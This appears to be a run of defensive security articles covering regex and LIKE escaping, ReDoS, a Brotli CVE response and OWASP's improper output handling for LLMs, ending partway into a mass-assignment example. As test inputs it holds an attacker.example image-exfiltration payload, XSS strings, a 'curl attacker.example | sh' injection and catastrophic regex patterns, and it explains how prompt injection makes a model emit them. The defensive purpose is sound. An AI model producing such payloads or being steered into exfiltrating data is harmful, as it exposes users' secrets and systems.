Search features have a habit of taking a user’s text and dropping it straight into a pattern: new RegExp(query), re.search(term, line), WHERE name LIKE '%' || $1 || '%'. The user meant “find this text”. The engine reads “match this pattern”. A dot becomes “any character”, .* becomes “everything”, and % in a LIKE search returns every row you were filtering.

The short answer: when user text should match literally, escape it with the platform function (re.escape, RegExp.escape, regexp.QuoteMeta) before building the pattern. For SQL LIKE, bind the value as a parameter and escape \, % and _ in it, with an explicit ESCAPE '\'. If the text is also used as a replacement string, pass a function, not a string.

This article is about user text that should be treated as literal. If your product lets users write real regular expressions, escaping is the wrong tool; see User-Supplied Regex: How to Run It Without ReDoS.

What goes wrong without escaping

We ran each example below and show the output. Test environment: Python 3.13.18, Node.js 24.22.2 (V8 13.6) and 22.23.4, Go 1.24.7, SQLite 3.53.1 (Python’s sqlite3 module) and PostgreSQL 16.15, all on Linux.

# Python 3.13: search log lines for a user-supplied term
import re
logs = ["user=alice", "user=al.ce", "user=bob", "user=admin"]

q = "al.ce"
[l for l in logs if re.search(q, l)]             # ['user=alice', 'user=al.ce']
[l for l in logs if re.search(re.escape(q), l)]  # ['user=al.ce']

q = ".*"
all(re.search(q, l) for l in logs)               # True: matches every line
[l for l in logs if re.search(re.escape(q), l)]  # []

The consequences depend on where the pattern is used. In a search box it is a wrong result. In a filter that decides which records a user may see, a match against tenant or account names, or a log-redaction rule, a wildcard where you expected a literal is an authorisation or data-exposure bug. Unescaped input also lets the user add nested quantifiers to your pattern, which is a route to ReDoS in backtracking engines.

Regex: use the platform escaper

Python: re.escape

The Python docs describe re.escape as escaping “special characters in pattern”, useful “if you want to match an arbitrary literal string that may have regular expression metacharacters in it.” Since Python 3.7, “only characters that can have special meaning in a regular expression are escaped.”

re.escape("a.b*c(d)")   # 'a\\.b\\*c\\(d\\)'
pattern = re.compile(r"\b" + re.escape(user_term) + r"\b", re.IGNORECASE)

Go: regexp.QuoteMeta

Go’s QuoteMeta “returns a string that escapes all regular expression metacharacters inside the argument text; the returned string is a regular expression matching the literal text.”

// Go 1.24.7
fmt.Println(regexp.QuoteMeta("al.ce*(x)"))                                  // al\.ce\*\(x\)
fmt.Println(regexp.MustCompile(regexp.QuoteMeta("al.ce")).MatchString("alice")) // false

JavaScript: RegExp.escape, and why the old snippet is not enough

MDN describes RegExp.escape() as returning “a new string that can be safely used as a literal pattern for the RegExp() constructor”, and marks it Baseline 2025. It is present in Node.js 24 and absent in Node.js 22:

node v24.22.2 RegExp.escape: function
node v22.23.4 RegExp.escape: undefined

The output looks odd at first: RegExp.escape("foo.bar") returns \x66oo\.bar. MDN explains that a leading digit or ASCII letter is written as a \x escape so that, if the result is “immediately preceded by \1, \x0, \u000, etc., the leading character doesn’t get interpreted as part of the escape sequence.” Other punctuators such as - are also written as \x escapes.

That is exactly where the widely copied replace-based escaper falls short. We compared the two in Node.js 24:

// Node.js 24.22.2
const escapeRegExp = s => s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&"); // common fallback

// 1. User text placed right after a backreference
new RegExp("(a)\\1" + escapeRegExp("1")).source;   // '(a)\\11'  -> test("aa1") is false
new RegExp("(a)\\1" + RegExp.escape("1")).source;  // '(a)\\1\\x31' -> test("aa1") is true

// 2. User text placed inside a character class
new RegExp("[" + escapeRegExp("a-z") + "]").test("m");   // true: became the range a-z
new RegExp("[" + RegExp.escape("a-z") + "]").test("m");  // false: matches only a, -, z

In both cases the fallback produced a valid pattern that matched something different from what was intended. MDN’s advice is direct: “don’t try to re-implement its functionality,” because RegExp.escape() “is designed to use escape sequences that work in many more edge cases/contexts than hand-crafted code is likely to achieve.”

For code that must also run on older runtimes:

// Prefer the built-in; the fallback is only safe when the escaped text
// is not placed inside [...] or directly after a backslash escape.
const escapeRegExp = typeof RegExp.escape === "function"
  ? RegExp.escape
  : s => s.replace(/[.*+?^${}()|[\]\\]/g, "\\$&");

Escaping does not cover the replacement string

Teams that escape the pattern often forget that the replacement argument has its own syntax.

JavaScript. In String.prototype.replace, a replacement string interprets $&, $1, $<name> and similar. A function’s return value is used as is:

// Node.js 24.22.2
const name = "$&$&";                               // user-controlled
"Hello NAME".replace("NAME", name);                // 'Hello NAMENAME'
"Hello NAME".replace("NAME", () => name);          // 'Hello $&$&'

Python. The re.escape docs say it “must not be used for the replacement string in sub() and subn(), only backslashes should be escaped.” In practice, passing a function avoids the problem entirely:

s = "name: NAME"
re.sub("NAME", r"C:\new\1", s)          # re.error: invalid group reference 1 at position 7
re.sub("NAME", lambda m: r"C:\new\1", s)  # 'name: C:\\new\\1'

A replacement string that happens to contain \n or \1 either changes the output or raises, depending on the text. Either is a bug when the text comes from a user. The same caution applies to anything that renders model or user output into templates; see treating LLM output as untrusted input.

SQL LIKE: parameters are not enough

A bind parameter keeps the value out of the SQL grammar, so '; DROP TABLE is just text. But LIKE interprets % (any sequence) and _ (any single character) inside the value, bound or not. The PostgreSQL docs state: “The default escape character is the backslash but a different one can be selected by using the ESCAPE clause.” Writing ESCAPE '' “effectively disables the escape mechanism.”

Escape the escape character first, then the wildcards:

def like_escape(s: str, esc: str = "\\") -> str:
    return s.replace(esc, esc * 2).replace("%", esc + "%").replace("_", esc + "_")

# SQLite: no escape character unless you declare one
cur.execute(
    "SELECT name FROM u WHERE name LIKE ? ESCAPE '\\'",
    ("%" + like_escape(term) + "%",),
)

Test table: alice, bob, 50% off, a_b, axb. Results with the search value bound as a parameter:

Two things stand out. First, a bound % or _ returns every row: that turns a filtered search into an export of the table. Second, the escaping and the ESCAPE clause must agree. SQLite has no default escape character, so escaped input without ESCAPE '\' matched nothing. PostgreSQL uses backslash by default, but stating ESCAPE '\' anyway makes the query portable and removes the dependency on the default.

Two more differences we observed: SQLite’s LIKE was case-insensitive for ASCII ('ALICE' LIKE 'alice' returned 1), while PostgreSQL’s was case-sensitive (false; use ILIKE there). If your ORM offers a “contains” or “starts with” helper, check whether it escapes wildcards for your database before relying on it.

The same applies to other pattern operators: PostgreSQL’s docs warn, “Be wary of accepting regular-expression search patterns from hostile sources”, for SIMILAR TO and POSIX regex operators.

Checklist

• Decide whether the user is supplying text or a pattern. Text gets escaped; patterns need a safe engine and limits.
• Use re.escape, RegExp.escape or regexp.QuoteMeta. Feature-detect RegExp.escape on Node.js 22 and older browsers.
• Never put fallback-escaped text inside [...] or directly after a backslash escape.
• For LIKE: bind the value, escape \, %, _ in that order, and always write ESCAPE '\'.
• Use a function, not a string, when user text is the replacement in replace or re.sub.
• Add a test with ., .*, %, _, $& and a backslash in the input. The bug is invisible with ordinary names.

Limits of this article

We tested the runtimes and versions listed above; MySQL, SQL Server and Oracle have their own LIKE escape rules and were not tested. Other regex dialects (Java, .NET, PCRE) have their own quoting functions not covered here. The JavaScript fallback is shown to illustrate its limits, not as a recommendation.

Sources and verification

If your product lets users type a regular expression (a log search box, an alerting rule, a URL routing rule, a “block messages matching” filter), you have handed them a way to burn your CPU. In a backtracking engine, a short pattern and a short input can keep a thread busy for seconds or years. The fix is not a better regex review process, because you are not the one writing the patterns.

The short answer: run user-supplied patterns on an engine that guarantees linear-time matching (RE2, Go’s regexp, Rust’s regex), cap pattern length, and reject features those engines do not support instead of quietly falling back. If you are stuck with a backtracking engine, run the match somewhere you can kill it on a deadline.

Why a backtracking engine is the problem

Python’s re, JavaScript’s RegExp (V8’s Irregexp) and .NET’s default engine are backtracking engines. When a match fails, they back up and try every other way the pattern could have split the input. For most patterns that is fast. For patterns with nested or overlapping repetition, the number of ways to split the input grows exponentially.

OWASP’s wiki page on ReDoS describes an “evil” regex as one with grouping with repetition where the repeated group contains repetition or overlapping alternation. Its examples include (a+)+, ([a-zA-Z]+)*, (a|aa)+ and (a|a?)+.

We timed the first one in Python 3.13.18 against a string of a characters followed by !, so the match has to fail:

import re, time

pat = re.compile(r'^(a+)+$')
pos = re.compile(r'^(?:a++)+$')   # possessive quantifier, Python 3.11+

for n in (18, 20, 22, 24):
    s = 'a' * n + '!'
    t = time.perf_counter(); pat.match(s); t1 = time.perf_counter() - t
    t = time.perf_counter(); pos.match(s); t2 = time.perf_counter() - t
    print(f"n={n:2d} backtracking={t1:8.4f}s possessive={t2:.6f}s")

n=18 backtracking=  0.0088s possessive=0.000005s
n=20 backtracking=  0.0429s possessive=0.000005s
n=22 backtracking=  0.1680s possessive=0.000003s
n=24 backtracking=  0.5356s possessive=0.000005s

Each additional two characters roughly quadrupled the time. Extrapolate to a 40-character input and one request ties up a worker for hours. Node.js 22 behaves the same way: /^(a+)+$/.test('a'.repeat(24) + '!') took 495 ms in our sandbox.

The possessive rewrite fixes this pattern because a++ refuses to give characters back. That is a valid fix when you write the pattern. It does nothing when a user writes it, because the user will not write the possessive version.

Two different threats

It helps to separate the cases, because the defences differ.

This article is about the second row. The third row is the most common way the second row happens by accident: someone builds new RegExp(userInput) to implement a “contains” search that never needed a regex.

Engines that are built for untrusted patterns

RE2. Google’s RE2 README states the design goal directly: it was built “to handle regular expressions from untrusted users without risk”, and “one of its primary guarantees is that the match time is linear in the length of the input string”. It also says its parser, compiler and execution engines “limit their memory usage by working within a configurable budget”. The price is features: RE2 “does not support constructs for which only backtracking solutions are known to exist”. That means no backreferences and no look-around.

Go’s regexp. The package uses RE2 syntax, and its source documents that the implementation “is guaranteed to run in time linear in the size of the input”.

Rust’s regex crate. Its README says “all regex searches in this crate have worst case O(m * n) time complexity, where m is proportional to the size of the regex and n is proportional to the size of the string being searched”. Its documentation says the crate “also, to a certain extent, supports untrusted patterns”, mainly “by limiting their size by default”, which you can tune with RegexBuilder::size_limit.

Note the m in that complexity. Linear in the input is not the same as free: a huge pattern still costs more to compile and run. That is why a pattern length cap belongs in front of every engine, safe or not.

Engines that say they are not

.NET. Microsoft’s regex best-practices page is unusually direct:

The .NET regular expression engine does not offer protection against untrusted patterns, and applications should not create regular expression patterns from untrusted user-provided values.

It adds that time-out values and RegexOptions.NonBacktracking (introduced in .NET 7, which “guarantees linear-time processing in the length of the input”) “help protect against accidental performance problems in developer-authored patterns. They are not intended as a security boundary against malicious patterns.” Use them for your own patterns, and do not treat them as permission to accept user-written ones.

Ruby. Ruby 3.2 added two ReDoS mitigations, described in the 3.2.0 release notes. A memoization-based matcher completes “most Regexp matching (about 90% in our experiments)” in linear time, at the cost of memory “proportional to the input length”. Because that optimization “cannot be applied to some kind of regular expressions, such as those including advanced features (e.g., back-references or look-around)”, Ruby also added Regexp.timeout, a global setting, and a per-regex timeout: keyword on Regexp.new. Both help. Neither turns Ruby’s engine into one designed for hostile patterns.

Python and JavaScript. Python’s re documentation describes no match timeout. Python 3.11 added possessive quantifiers and atomic groups (?>...), which help you write safer patterns but do nothing about patterns you did not write. JavaScript’s RegExp has no timeout either. V8 has shipped an experimental non-backtracking engine since V8 8.8, behind --enable-experimental-regexp-engine, which adds a non-standard l (“linear”) flag. V8’s own post calls it experimental “because Irregexp is orders of magnitude faster than the new engine on most common patterns”. With the flag on, /^(a+)+$/l failed on a 50,000-character evil input in about 3 ms in our Node.js 22.23 test. Running production on an experimental V8 flag is a decision to make deliberately, not a default.

Accepting patterns also exposes you to bugs in the regex parser and compiler themselves, not just slow matching. Our write-up of GitLab CVE-2026-97229 covers a remote code execution flaw in how GitLab compiled regular expressions from CI/CD configuration. Using a small, heavily fuzzed engine reduces that risk too.

Pattern 1: Python with RE2

This uses the google-re2 package (we tested 1.1.20251105 with Python 3.13). It caps pattern length, compiles with RE2, and turns unsupported syntax into a clear error your API can return as a 400.

import re2

MAX_PATTERN = 256

def compile_user_pattern(pattern: str):
    """Compile a user-supplied pattern with RE2 or raise ValueError."""
    if len(pattern) > MAX_PATTERN:
        raise ValueError("pattern too long")
    try:
        return re2.compile(pattern)
    except re2.error as e:
        raise ValueError(f"unsupported or invalid pattern: {e}") from None

What happened when we ran it:

The same evil pattern that took half a second on 24 characters in re finished a million characters in milliseconds. Two practical notes from the test: RE2 logs parse errors to stderr through its own logging, so expect noise in your logs when users submit bad patterns. And do not catch the error and retry with re. That fallback reopens the exact hole you closed.

Pattern 2: Node.js with a killable worker

If you cannot add a native RE2 binding, isolate the backtracking engine. A worker thread can be terminated mid-match, which a setTimeout on the main thread cannot do: a regex blocks the event loop until it returns. This is tested on Node.js 22.23.4:

// safe_match.mjs: run an untrusted pattern in a worker and kill it after a deadline.
import { Worker } from 'node:worker_threads';

const WORKER_SRC = `
  const { parentPort, workerData } = require('node:worker_threads');
  const { pattern, flags, input } = workerData;
  try {
    parentPort.postMessage({ ok: true, match: new RegExp(pattern, flags).test(input) });
  } catch (e) {
    parentPort.postMessage({ ok: false, error: e.message });
  }
`;

export function safeTest(pattern, input, { flags = '', timeoutMs = 100, maxPattern = 256 } = {}) {
  if (pattern.length > maxPattern) return Promise.resolve({ ok: false, error: 'pattern too long' });
  if (!/^[gimsuy]*$/.test(flags)) return Promise.resolve({ ok: false, error: 'bad flags' });
  return new Promise((resolve) => {
    const w = new Worker(WORKER_SRC, {
      eval: true,
      workerData: { pattern, flags, input },
      resourceLimits: { maxOldGenerationSizeMb: 32 },
    });
    const timer = setTimeout(() => { w.terminate(); resolve({ ok: false, error: 'timeout' }); }, timeoutMs);
    w.once('message', (m) => { clearTimeout(timer); w.terminate(); resolve(m); });
    w.once('error', (e) => { clearTimeout(timer); resolve({ ok: false, error: e.message }); });
  });
}

Results:

• safeTest('^(a+)+$', 'a'.repeat(40) + '!') returned { ok: false, error: 'timeout' } after 103 ms. On the main thread that match would not finish.
• safeTest('^[a-z]+@example\\.com$', 'alice@example.com') returned { ok: true, match: true }.
• safeTest('(unclosed', 'x') returned the syntax error instead of throwing.

The cost: spawning a worker per call averaged 25.4 ms in our sandbox, over 20 calls. That is fine for saving a rule. It is too slow for matching every log line. For high-volume matching, keep a small pool of long-lived workers and replace any worker you have to terminate, or move to an RE2 binding. This is a containment pattern, not a fix: an attacker can still make every match hit the timeout, so rate-limit pattern submissions and count timeouts per user.

A checklist for features that accept patterns

1. Ask whether you need regex at all. Substring, prefix or glob matching covers most “search” features and has no ReDoS surface.
2. Pick a linear-time engine (RE2 or a binding, Go regexp, Rust regex) for any pattern a user can write, including admins and API clients.
3. Cap pattern length and, if you can, the number of patterns per user or rule set.
4. Reject unsupported features with a clear message. Never fall back to a backtracking engine.
5. Cap input length for each match. Linear time on a 2 GB input is still a lot of time. Our post on decompression bombs in Node.js covers the related problem of inputs that grow after you accept them.
6. If you must backtrack, isolate it. Use a worker or process you can kill, a hard deadline, and a memory limit. Ruby’s Regexp.timeout and .NET’s matchTimeout are useful extra layers.
7. Watch for it. Log match timeouts and compile failures by user, and alert on spikes.

Limits of this article

• Timings are from a shared cloud sandbox and will differ on your hardware. The growth rate, not the absolute numbers, is the point.
• We did not test .NET or Ruby directly, and we do not cover Java, PCRE or other engines here. Statements about them come from their documentation, quoted above.
• We tested one Python RE2 binding (google-re2). Node.js RE2 bindings exist, but we did not test one for this article.
• A linear-time engine removes catastrophic backtracking. It does not remove the need for size limits, rate limits or patching the engine itself.

Sources and verification

CVE-2026-111497 is a memory-corruption bug in Google’s Brotli decompressor. Upstream versions 1.0.3 through 1.2.0 are affected, and 1.0.10, 1.1.1 and 1.2.1 fix it. CISA added it to the Known Exploited Vulnerabilities catalog on October 27, 2026, with a federal remediation date of November 10. The hard part is not the patch. Brotli is compiled into Node.js, Python wheels, Go modules, proxies and service meshes, and several patched builds still report the old version number. Here is where it hides, what “fixed” looks like for each, and a tested way to check code you vendor yourself.

Are you affected?

You are exposed if a vulnerable Brotli decoder processes data an attacker can supply. The CVE record says an attacker with “a crafted Brotli-compressed stream” can “corrupt adjacent decoder state memory, disclose sensitive memory contents, cause a denial of service, or potentially execute arbitrary code”. Google’s CNA scored it CVSS 4.0 9.2 (Critical). The Node.js project rates its copy High.

The Envoy, Istio and Bun ranges come from Wiz’s write-up, not from those projects’ advisories. We did not read those advisories directly. For Envoy we checked the source instead: bazel/repository_locations.bzl pins Brotli 1.2.0 at tag v1.39.2, while v1.39.3 pins a Brotli commit whose decode.c contains the fix.

Linux distributions usually backport fixes and keep the upstream version. Our Ubuntu 24.04 sandbox, for example, has libbrotli1 1.1.0-2ubuntu0.1. That string alone does not tell you whether the fix is in. Use your distribution’s security tracker for the CVE.

Why the version string can mislead you

Node.js patched its bundled Brotli in place. On the fixed Node.js 22.23.4 the reported library version is still the old one:

$ node -v
v22.23.4
$ node -p process.versions.brotli
1.1.0

We ran that in our sandbox. The source tree agrees: deps/brotli/c/common/version.h declares 1.1.0 at both v22.23.3 and v22.23.4, and 1.2.0 at v24.22.1 and v26.12.1, but only the fixed tags contain the patched decoder (v22.23.3 and v24.22.0 do not). A scanner that flags process.versions.brotli < 1.2.1 will raise false positives on fixed Node.js. A scanner that trusts a vendored version.h can miss real exposure the other way round. For Node.js, use the Node.js version. For anything else you vendor, check the code.

What the bug is

The Node.js advisory gives the clearest description: “An invalid block switch was reported as a temporary need for more input instead of a permanent format error, so the streaming decoder kept appending input bytes to an eight-byte internal buffer.”

The upstream diff between v1.2.0 and v1.2.1 of c/dec/decode.c shows exactly that. DecodeBlockTypeAndLength() used to return a plain boolean, so “invalid stream” and “need more input” looked the same, and the non-safe callers ignored the result altogether (static void DecodeLiteralBlockSwitch(...)). After the fix the function returns a BrotliDecoderErrorCode, emits BROTLI_DECODER_ERROR_FORMAT_BLOCK_SWITCH for the invalid case, and every caller checks it through a new BROTLI_SAFE_WITH_STATUS macro. That matches the two weaknesses in the CVE record: CWE-252 (unchecked return value) and CWE-787 (out-of-bounds write).

The flaw was found by Khai Tran and Sylvie Mayer of OpenAI Codex Security, who are credited in both the CVE record and the Node.js advisory.

Where untrusted Brotli reaches your code

The flaw is in decompression, so look for places that decode data you did not produce:

• Request bodies. Any endpoint or middleware that inflates Content-Encoding: br uploads.
• Outbound HTTP. HTTP clients decode Brotli responses for you. If an attacker controls or can redirect the URL (webhooks, link previews, feed fetchers, scrapers), they control the compressed bytes.
• Files and archives that contain Brotli streams.
• Proxies and meshes that decompress traffic to inspect or transform it.

Two behaviours we checked, because they mean code that never mentions Brotli can still run it:

• Node.js fetch() decodes Brotli it never asked for. On Node.js 22.23.4, fetch() sent accept-encoding: gzip, deflate. When our local test server replied with content-encoding: br, fetch() decompressed the body anyway. A hostile server can choose Brotli whatever the client advertises.
• Python’s requests turns Brotli on when it is installed. urllib3’s util/request.py appends br to its default Accept-Encoding when brotlicffi or brotli can be imported. With Brotli 1.2.1 installed, requests.utils.default_headers() returned gzip, deflate, br in our test. The decoding then runs in whichever Brotli package is installed.

What to do now

1. Update the runtimes. Node.js to 22.23.4, 24.22.1 or 26.12.1 or later. Move off end-of-life Node.js lines: the advisory notes that “End-of-Life versions are always affected when a security release occurs.”
2. Update language packages in every lockfile and image: Brotli>=1.2.1, brotlicffi>=1.2.1.0, github.com/andybalholm/brotli v1.2.7. Both Python fixes were published to PyPI on October 22, 2026.
3. Update proxies and meshes (Envoy, Istio) and Bun to the fixed releases above. Confirm the ranges against each project’s own advisory.
4. Apply distro updates for libbrotli/brotli, then restart the long-running processes that loaded the old library.
5. Rebuild container images. A fixed base image does not help a running container that was built from the old one.
6. Hunt for vendored copies with the check below.

If you cannot patch a service today, reduce what it decodes. As a stopgap, reject Content-Encoding: br request bodies at the edge for services that do not need them, and stop server-side fetchers from decoding responses from untrusted URLs. This is our editorial suggestion, not vendor guidance, and it does not replace the update.

Inventory commands

# Node.js: the version that matters
node -v

# Python: every environment and image
pip show Brotli brotlicffi 2>/dev/null | grep -E '^(Name|Version)'
pipdeptree -r -p Brotli          # who pulls it in

# Go modules
go list -m all | grep andybalholm/brotli

# Debian/Ubuntu and RHEL-family system libraries
dpkg -l 'libbrotli*' 2>/dev/null | awk '/^ii/{print $2, $3}'
rpm -q brotli libbrotli 2>/dev/null

The pip, node and dpkg lines were run in our sandbox. The go, pipdeptree and rpm lines are standard tool usage that we did not run here.

Checking vendored source for the fix

C and C++ projects often copy c/dec/decode.c into their tree, and Go programs carry decode.go in the module cache or a vendor/ directory. This script looks for the patched function signature instead of trusting any version string:

#!/bin/sh
# brotli-fixcheck.sh DIR...: find vendored Brotli decoder sources and report
# whether they carry the CVE-2026-111497 fix. Looks at the code, not the
# version string, because patched Node.js still reports the old version.
for root in "$@"; do
  find "$root" \( -name decode.c -path '*dec*' \) -o \( -name decode.go -path '*brotli*' \) 2>/dev/null |
  while read -r f; do
    if grep -q 'BrotliDecoderErrorCode DecodeBlockTypeAndLength' "$f" ||
       grep -q 'func decodeBlockTypeAndLength(.*) int {' "$f"; then
      echo "PATCHED    $f"
    elif grep -q 'DecodeBlockTypeAndLength\|decodeBlockTypeAndLength' "$f"; then
      echo "VULNERABLE $f"
    fi
  done
done

We tested it against 12 sources pulled from GitHub: upstream Brotli v1.0.9, v1.0.10, v1.1.0, v1.1.1, v1.2.0 and v1.2.1; Node.js deps/brotli at v22.23.3, v22.23.4, v24.22.0 and v24.22.1; and andybalholm/brotli v1.2.6 and v1.2.7. It reported every fixed release as PATCHED and every earlier one as VULNERABLE. Run it over source trees, vendor/ directories and $(go env GOMODCACHE).

It cannot inspect compiled binaries, and a heavily modified fork may not match either pattern. Treat “no output” as “no recognisable copy found”, not as “safe”.

What to hunt for

No vendor or agency has published indicators of compromise for this CVE, and CISA’s KEV entry does not require forensic triage (forensicTriage: No). Practical checks:

• Crashes. Segfaults or aborts in Node.js, Python or proxy processes since late October, especially in services that fetch remote content or accept compressed uploads.
• Unexpected Brotli. Requests with Content-Encoding: br to endpoints that never receive compressed bodies. Wiz recommends reviewing WAF, application and network logs for suspicious Brotli-compressed traffic.
• Outbound fetches from services that took user-supplied URLs, close in time to a crash.

Limits of this article

We did not reproduce the memory corruption or test any exploit. Our checks cover version strings, source code and HTTP client behaviour in a sandbox: Node.js 22.23.4, Python with Brotli 1.2.1, Ubuntu 24.04. The Envoy, Istio and Bun ranges come from a security vendor’s summary. The list of affected software is not complete. Wiz notes that other products that bundle or link vulnerable versions of the Brotli C decoder may also be affected.

For the wider process of keeping dependency updates moving, see dependency audits without slowing down releases. For publishing or reading “not affected” statements about a library like this, see VEX explained. Last week’s PHP2Shell patch-and-hunt guide covers the two PHP runtime flaws CISA added to KEV the day before.

Sources and verification

A model’s output feels like your application’s own text. It isn’t. Anyone who can influence the prompt, directly or through a web page, email or file the model reads, can influence what comes out. When that output is rendered as HTML, run as SQL, passed to a shell or used as a file path, the attacker’s influence reaches those systems too. OWASP’s Top 10 for LLM Applications calls this LLM05:2025 Improper Output Handling.

Scope. Based on OWASP’s LLM05:2025 entry (read from the project’s GitHub repository on October 22, 2026). The Python examples were run with Python 3.13, Python-Markdown 3.10.3, nh3 0.3.7 (a Python binding to the Rust Ammonia sanitizer), Pydantic 2.13.5 and SQLite. They demonstrate patterns; they are not a complete defense for any particular application.

What OWASP covers

OWASP defines LLM05 as “insufficient validation, sanitization, and handling of the outputs generated by large language models before they are passed downstream to other components and systems”. It notes that because output can be controlled through the prompt, this is “similar to providing users indirect access to additional functionality”. It separates LLM05 from overreliance: LLM05 is about what happens to output before it goes downstream, not about whether the output is accurate.

OWASP’s common examples:

OWASP also lists conditions that raise the impact: giving the model more privileges than end users have, exposure to indirect prompt injection, third-party extensions that don’t validate inputs, no context-aware output encoding, and missing monitoring and rate limiting.

The rest of this article covers three of those destinations with patterns we ran.

1. Rendering Markdown and HTML

Chat interfaces usually render model output as Markdown. Markdown libraries commonly pass raw HTML through (Python-Markdown did in our test), so a model that has been told to emit <img src=x onerror=...> produces script execution in the user’s browser. Markdown images are a quieter problem: if the model emits ![x](https://attacker.example/c?d=SECRET), the browser fetches that URL when it renders the image, sending whatever the model put in it. One of OWASP’s reference links describes this technique against a chat interface.

The pattern: convert Markdown to HTML, then sanitize the HTML with an allowlist, and only allow images from hosts you control.

import markdown, nh3

ALLOWED_TAGS = {"p", "ul", "ol", "li", "strong", "em", "code", "pre", "a", "img", "blockquote"}
IMG_HOSTS = ("https://cdn.example.com/",)

def drop_foreign_images(tag, name, value):
    if tag == "img" and name == "src":
        return value if value.startswith(IMG_HOSTS) else None
    return value

def render_model_markdown(text: str) -> str:
    html = markdown.markdown(text)
    return nh3.clean(html, tags=ALLOWED_TAGS,
                     attributes={"a": {"href"}, "img": {"src", "alt"}},
                     url_schemes={"https"},
                     attribute_filter=drop_foreign_images)

We fed it this model output:

Here is your summary. ![x](https://attacker.example/c?d=SECRET_TOKEN)

<img src=x onerror=alert(1)> [click](javascript:alert(1)) ![logo](https://cdn.example.com/logo.png)

Result:

<p>Here is your summary. <img alt="x"></p>
<p><img> <a rel="noopener noreferrer">click</a> <img alt="logo" src="https://cdn.example.com/logo.png"></p>

The onerror handler and the javascript: link are gone, the attacker’s image URL was stripped, and the image from the allowed host survived. If you don’t need images or links in model output, leave them out of the allowlist entirely. OWASP also recommends a strict Content Security Policy as a second layer; our nonce-based CSP guide covers that, and an img-src directive limited to your own hosts blocks the image exfiltration path even if sanitization misses something.

If you display output as plain text, you don’t need a sanitizer: HTML-encode it, which is what most template engines do by default unless you mark the content as safe.

2. Database queries

OWASP’s third scenario is a chat feature that writes SQL; a user asks for a query that deletes all tables, and the application runs it. OWASP recommends parameterized queries for any database operation involving model output.

The stronger design is to not let the model write SQL at all. Let it choose from operations you define and fill in typed parameters, which you validate before they go anywhere near the database:

from typing import Literal
from pydantic import BaseModel, ConfigDict, Field

class OrderQuery(BaseModel):
    model_config = ConfigDict(extra="forbid")
    status: Literal["open", "shipped", "cancelled"]
    limit: int = Field(default=20, ge=1, le=100)

def run_order_query(db, model_json: str, customer_id: int):
    q = OrderQuery.model_validate_json(model_json)
    return db.execute(
        "SELECT id, status FROM orders WHERE customer_id = ? AND status = ? LIMIT ?",
        (customer_id, q.status, q.limit)).fetchall()

Three details matter. The SQL text is yours. The values are bound as parameters. And customer_id comes from the authenticated session, not from the model, so a prompt can’t redirect the query to another customer’s data. We tested it against an in-memory SQLite table:

Most model APIs can be asked to return output that follows a JSON schema, which makes this pattern practical. Validate anyway: a schema request is not a guarantee.

3. Shell commands and tool calls

OWASP’s first example is model output passed to a shell, exec or eval. The fix is the same shape: the model picks an action by name, your code maps the name to a fixed command, and nothing the model writes is interpreted by a shell.

import subprocess

ACTIONS = {"disk_usage": ["df", "-h"], "uptime": ["uptime"]}

def run_action(model_choice: str):
    argv = ACTIONS.get(model_choice)
    if argv is None:
        raise ValueError(f"action not allowed: {model_choice!r}")
    return subprocess.run(argv, capture_output=True, text=True, timeout=10, check=False).stdout

In our test, "uptime" ran the command, and "uptime; curl attacker.example | sh" was rejected because it isn’t a key in the table. If an action needs an argument, such as a file name, validate it against a pattern and pass it as a separate list element, never by building a command string. For file paths, resolve the path and check it is inside the directory you expect before opening it.

The same logic applies to agent tools that call internal APIs. OWASP’s first scenario describes a general-purpose model passing its output, unvalidated, to an extension with administrative functions. Give each tool the narrowest permission it needs, and validate tool arguments in the tool, not in the prompt.

A checklist

• List every place model output goes: browser, database, shell, file system, email, other APIs, other models.
• For each, decide the encoding or validation that destination needs, as you would for user input. OWASP points to the ASVS (Application Security Verification Standard) for validation and encoding guidance.
• Prefer structured output with an allowlist (actions, enums, typed fields) over free text that you parse.
• Take identity and authorization from the session, never from model output.
• Sanitize rendered Markdown or HTML with an allowlist, and restrict image and link destinations.
• Log model outputs that reach sensitive sinks, and alert on validation failures. A spike in rejected tool calls is a useful signal of injection attempts.
• Rate-limit model usage; OWASP lists missing rate limiting and anomaly detection as impact amplifiers.

These controls limit what a manipulated model can do. They don’t stop the manipulation, which is OWASP’s LLM01:2025 Prompt Injection. If you are new to how request forgery from a server works, our SSRF explainer covers the SSRF outcome OWASP mentions.

Limits of this article

The examples cover three destinations and were run in isolation, not inside a model-driven application. The sanitizer configuration is a starting point; review it against the content your interface actually needs. We did not test any specific model or vendor API, and we did not independently verify the incidents OWASP links as references.

Sources and verification

Checked on October 22, 2026.

A user edits their display name. The browser sends {"display_name": "Bobby"}. An attacker sends {"display_name": "Bobby", "role": "admin"} to the same endpoint, and the server saves both, because the handler copies every field in the request onto the user record. That is a mass assignment vulnerability. It needs no special tooling, only a guess at a field name, and it turns an ordinary profile form into a privilege-escalation endpoint.

Scope. Based on the OWASP Mass Assignment Cheat Sheet and the OWASP API Security Top 10 2023 entry for API3 (both read from OWASP’s GitHub repositories), the Spring Framework data-binding documentation and the Rails Action Controller guide (main branches, read October 22, 2026). The Python example was run with Python 3.13, Flask 3.1.3 and Pydantic 2.13.5 using Flask’s test client. The Spring and Rails snippets are illustrative and were not run.

How it happens

Many frameworks bind request data onto objects automatically. OWASP’s cheat sheet lists the names the weakness goes by: mass assignment in Ruby on Rails and Node.js, autobinding in Spring MVC and ASP.NET MVC, object injection in PHP. The underlying weakness is CWE-915, improperly controlled modification of dynamically determined object attributes.

The risk appears when the object you bind to has more properties than the caller should control: an ORM entity with role, is_verified, org_id or balance. The client never sees those fields in the UI, but OWASP points out that field names can be guessed or discovered and source code access is not needed. API responses often help, because they return the full object, field names included.

OWASP’s cheat sheet cites GitHub’s 2012 incident as a case study: a user was able to add his public key to an organization he didn’t belong to and push changes to its repositories.

In the 2023 OWASP API Security Top 10, mass assignment is part of API3:2023 Broken Object Property Level Authorization. An endpoint is vulnerable if it lets a user read properties they shouldn’t (formerly “Excessive Data Exposure”) or change, add or delete properties they shouldn’t (formerly “Mass Assignment”). OWASP rates exploitability as easy and notes that fuzzing is commonly used to find hidden properties.

A tested example in Python

The vulnerable version writes every key in the JSON body onto the stored user:

from flask import Flask, request, jsonify, g
from pydantic import BaseModel, ConfigDict, EmailStr, ValidationError, Field

app = Flask(__name__)
USERS = {1: {"id": 1, "email": "bob@example.com", "display_name": "Bob",
             "role": "member", "plan": "free", "org_id": 7}}

@app.before_request
def fake_auth():
    g.user_id = 1  # stand-in for real authentication

